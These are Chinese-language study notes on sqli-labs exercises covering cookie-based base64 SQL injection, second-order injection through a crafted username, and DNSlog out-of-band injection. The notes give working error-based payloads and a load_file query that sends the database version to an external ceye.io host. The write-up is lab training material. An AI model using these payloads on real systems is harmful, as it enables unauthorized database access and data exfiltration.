Cookile解码
sqlilab21关
首先填写信息(admin)抓包
将YWRtaW4%3D通过base64解密为admin 所以是cookie注入
将admin‘ and 1=1加密并发送数据包发现,会回显cookie
使用加密后的报错注入进行尝试
admin1')and extractvalue(1,concat(0x7e,(version()),0x7e))#
base64
加密后 YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHZlcnNpb24oKSksMHg3ZSkpIw==
admin' or updatexml(1,concat(0x7e,version()),0) or '
base64加密后
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSksMCkgb3IgJw==
admin' or updatexml(1,concat(0x7e,database()),0) or '
base64加密后
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDApIG9yICc=
sqlilab24关登陆框&二次注入(实际案例)
应用场景---在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入
原理 #登录册界面,包含insert语句 ---insert into news(id,url,text)values(2,’x’,’$t’)
#忘记密码,包含update语句 ---upadte user set pwd=’$t’ where id=2 and username=’admin’
#原理: ---注册用户: admin’ and 1=1 密码:123456 ---更新:upadte user set pwd=’$t’ where id=2 and username=’admin’ and 1=1’---形成了注入语句,同理如果:换成注册其它用户名,更新的时候也会形成不同的注入语句。
创建账户dhakkan'#并设置密码123456 使用该账户登录后,进入修改密码界面修改为xxxx,发现修改密码后dhakkan'#的密码没有变 而dhakkan密码变成了xxxx
#源代码分析: --- UPDATE users SET PASSWORD='sss' where username=' dhakkan'#' and password='123456' ---相当于#将后面注释了,改为:UPDATE users SET PASSWORD='sss' where username=' dhakkan' and password='123456'
sqlilabs-less9-load_file&dnslog 带外注入(实际案例) DNS漏洞注入
select * from users where id=1 and if((select load_file(concat('',(select version()),'.yk2kql.ceye.io//abc'))),0,1);
---concat连接符,先查询数据库版本,然后和网站的DNS路径进行对比
---yk2kql.ceye.io是网站DNS
通过命令行输入此语句,可以在DNS管理页面查看到注入语句中显示的内容
DnslogSqlinj工具 实例:sqlilabs第九关 ---设置URL格式 ---工具注入 ---获取当前用户和数据 ---获取数据库 --dbs
意义: 解决盲注不能回显数据---盲注比较繁琐,效率低的问题
sqlmap中的temper为工具文件夹,里面包含很多工具
通过编写php文件实现结合SQLmap工具,中转注入